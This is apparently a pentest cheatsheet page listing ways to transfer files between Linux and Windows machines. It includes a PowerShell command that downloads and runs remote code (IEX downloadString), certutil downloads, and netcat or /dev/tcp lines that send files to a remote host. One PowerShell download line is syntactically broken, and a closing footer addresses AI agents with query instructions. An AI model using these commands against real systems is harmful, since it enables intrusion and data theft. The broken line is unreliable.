# File Transfer

## From Linux to Windows

Establish a web server with Python in the path where the desired file is:

{% tabs %}
{% tab title="Python3" %}

```bash
python3 -m http.server 8000
```

{% endtab %}

{% tab title="Python2\*" %}

```bash
python2.7 -m SimpleHTTPServer 8000
```

{% endtab %}
{% endtabs %}

### certutil.exe

```powershell
certutil.exe -f -urlcache -split http://10.10.10.10:8000/file file
```

### Using PowerShell

```powershell
powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://10.10.10.10:8000/file')
```

```powershell
powershell IWR -uri http://10.10.10.10:8000/file -OutFile C:\\Users\carlos.rino\Desktop\file
```

```powershell
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:8000/file')
```

```powershell
Invoke-WebRequest http://10.10.10.10:8000/file -o file          
```

### Using a shared folder

Serve the file:

```bash
smbserver.py mysharedfolder $(pwd)
```

```bash
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
```

```bash
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321
```

Upload the file:

```powershell
net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
```

```powershell
copy \\10.10.10.10\mysharedfolder\file file
```

## From Linux to Linux

### netcat (I)

Origin machine:

```bash
nc -lvp 4450 < file
```

Destination machine:

```bash
nc 10.10.10.10 4450 > file
```

### netcat (II)

Origin machine:

```bash
nc -lvp 4450 < file
```

Destination machine:

```bash
cat < /dev/tcp/10.10.10.10/4450 > file
```

### netcat (III)

Destination machine:

```bash
nc -lvp 4450 > file
```

Origin machine:

```bash
cat file > /dev/tcp/10.10.10.10/4450
```

## Windows to Linux

### Using a shared folder

Serve the file:

```bash
smbserver.py mysharedfolder $(pwd)
```

```bash
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
```

```bash
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321
```

Copy the file:

```powershell
net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
dir Y:\
```

```
copy file.zip \\10.10.10.10\mysharedfolder\file.zip
```

## Validate integrity file

```bash
md5sum file_name
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lanzt.gitbook.io/cheatsheet-pentest/generic-ideas/file-transfer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
